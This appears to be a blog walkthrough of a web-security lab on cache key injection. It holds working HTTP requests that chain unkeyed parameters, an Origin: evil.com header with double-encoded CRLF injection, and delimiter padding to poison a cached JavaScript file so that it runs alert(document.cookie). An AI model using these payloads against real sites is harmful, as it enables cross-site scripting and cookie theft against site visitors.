🔓 Free Link

Disclaimer: The techniques described in this document are intended solely for ethical use and educational purposes. Unauthorized use of these methods outside approved environments is strictly prohibited, as it is illegal, unethical, and may lead to severe consequences.

It is crucial to act responsibly, comply with all applicable laws, and adhere to established ethical guidelines. Any activity that exploits security vulnerabilities or compromises the safety, privacy, or integrity of others is strictly forbidden.

Table of Contents

  1. Summary of the Vulnerability
  2. Steps to Reproduce & Proof of Concept (PoC)
  3. Impact

Summary of the Vulnerability

Cache key injection is a subtle but powerful web application flaw that arises when unvalidated input is incorporated into the cache key used by a reverse proxy, CDN, or other caching layer. In this lab scenario, the site's caching mechanism mistakenly includes attacker-supplied header data (via the Pragma: x-get-cache-key header) in its calculation of the cache key.

Because the cache key determines which requests map to the same cached response, this misbehavior lets an attacker manipulate what content ends up served to future visitors. The attacker's objective in the lab is to combine this flaw with another vulnerability to poison the cache and inject malicious JavaScript (alert(1)) that executes in the victim's browser.

The vulnerability exists because the caching logic fails to properly sanitize or restrict which headers can influence cache behavior. This oversight allows adversaries to craft responses that are cached and then delivered to other unsuspecting users.

Steps to Reproduce & Proof of Concept (PoC)

① Open the lab

② Observe traffic in Burp's HTTP history

  • You'll notice a redirect from GET /login?lang=en to GET /login/?lang=en. The same pattern also appears for the /js/localize.js?lang=en&cors=0 request.

③ Send requests to Repeater

  • Capture and send the following requests to the Burp Repeater for closer inspection:
GET / HTTP/2
GET /login?lang=en HTTP/2
GET /login/?lang=en HTTP/2
GET /js/localize.js?lang=en&cors=0 HTTP/2
Image 1 — Cache Key Injection

④ Use Param Miner to discover unkeyed parameters

  • As in previous labs, use the Param Miner extension to scan for parameters that are not part of the cache key: Right-click the request in Repeater → Extensions → Param Miner → Unkeyed Param.
Image 2 — Cache Key Injection

⑤ Add the Pragma header

  • Include the following header in every request:
Pragma: x-get-cache-key
  • This header helps reveal which parameters influence the cache key during testing.

⑥ Identify the vulnerable parameter

Image 3 — Cache Key Injection
  • After confirming that utm_content is not part of the cache key, use it to inject payloads into the login?lang=en and /js/localize.js?lang=en&cors=0 requests.

⑦ Test the injection point

  • Start by injecting utm_content into the GET /login?lang=en request and observe the response. Even after removing utm_content, you'll notice the parameter remains reflected — confirming it's being processed.
Image 4 — Cache Key Injection

⑧ Move to the JavaScript request

  • Focus on the cors parameter in the /js/localize.js request. Change its value from 0 to 1, and add the following header:
Origin: evil.com
  • The reflected header in the response indicates the server accepts any domain origin.
Image 5 — Cache Key Injection

⑨ Prepare the JavaScript overwrite

  • The next goal is to overwrite the JavaScript file's content, specifically to replace:
document.cookie='lang=en'
  • with your payload:
alert(document.cookie)
  • To achieve this, leverage a CRLF injection and encode it as follows:
Origin: evil.com%0d%0aContent-length:%2022%0d%0a%0d%0aalert(document.cookie)
Image 6 — Cache Key Injection

⑩ Modify both the login and JS requests

  • Embed the payloads into both requests so the injection forms a single continuous parameter.
  • Request 1 (login):
GET /login?lang=en?utm_content=xyz%26cors=1$$origin=evil.com%250d%250aContent-length:%2022%250d%250a%250d%250aalert(document.cookie)

(No additional headers required)

  • Request 2 (JavaScript):
GET /js/localize.js?lang=en?utm_content=xyz&cors=1 HTTP/2
Origin: evil.com%0d%0aContent-length:%2022%0d%0a%0d%0aalert(document.cookie)
  • After adding the Origin header, press Enter twice to finalize the request formatting.

⑪ Send both requests

  • Send the modified login and JS requests. This helps trigger the server response that could lead to payload execution.
Image 7— Cache Key Injection
  • The first attempt may fail, so adjust and retry.

⑫ Refine the JavaScript request

  • Add additional delimiters ($$$$) to stabilize the payload structure:
GET /js/localize.js?lang=en?utm_content=xyz&cors=1 HTTP/2
Host: 0af700e9039182b5815dcab2001500b5.web-security-academy.net
Cookie: session=sb5ouNX1yDZ7xzbsiKkh334iKqAOM86Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Pragma: x-get-cache-key
Origin: evil.com%0d%0aContent-length:%2022%0d%0a%0d%0aalert(document.cookie)$$$$

⑬ Apply similar adjustments to the login request:

GET /login?lang=en?utm_content=xyz%26cors=1$$origin=evil.com%250d%250aContent-length:%2022%250d%250a%250d%250aalert(document.cookie)$$%23 HTTP/2
Host: 0af700e9039182b5815dcab2001500b5.web-security-academy.net
Cookie: lang=en; session=sb5ouNX1yDZ7xzbsiKkh334iKqAOM86Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Pragma: x-get-cache-key

⑭ Confirm cache behavior

  • After sending both requests, check the responses. When both return with:
X-Cache: miss
  • return to your browser and click Home. The lab should trigger an alert(document.cookie) popup, confirming successful execution.
Image 8 — Cache Key Injection

⑮ Validate and repeat if needed

  • If the alert doesn't trigger immediately, resend the crafted requests a few times. Timing can affect when the cache updates.
  • Once the alert appears, the lab is successfully solved.
Image 9 — Cache Key Injection

A compact technical peek

  • Double-encoding: %250d%250a → server decodes once → %0d%0a → decodes again (or gets interpreted) → CRLF gets injected into header parsing → CRLF injection occurs.
  • Delimiter alignment: the app constructs the cache key by concatenating multiple fields with a delimiter (like $$). You must match that structure so your injected CRLF/payload sits in the correct slot.
  • Fragment (#): handy to limit what the browser sends and to prevent leftover characters from changing the request normalization.

Because the server (or the code that constructs the cache key/header) uses a separator — apparently $$ — to split fields. By adding multiple $$ in a row you are:

  • Padding/skipping fields so your payload (CRLF + alert(...)) ends up in the exact field used later to build the response or header.
  • In other words: the cache key might look like path$$lang$$utm$$origin$$.... To place the payload into the origin slot you must include the right number of $$ delimiters to jump over previous slots. Empirically in this lab, $$$$ produced the correct alignment.
  • %23 is the URL-encoding for # (fragment). Fragments are not sent to the server — they are client-side only. Adding %23 acts as a terminator: it prevents further characters from being processed or injected into server parsing paths that might break the alignment or decoding. In practice, %23 is often used to safely terminate a URL segment so the rest won't interfere with the server's normalization/decoding.

Impact

Outside of a controlled lab, cache key injection could have serious consequences for high-traffic web applications. By manipulating cache keys, an attacker is able to inject malicious payloads into cached pages — leading to widespread cross-site scripting (XSS) or malware delivery at scale.

📢 Enjoyed this post? Stay connected! If you found this article helpful or insightful, consider following me for more:

🙏Your support is appreciated.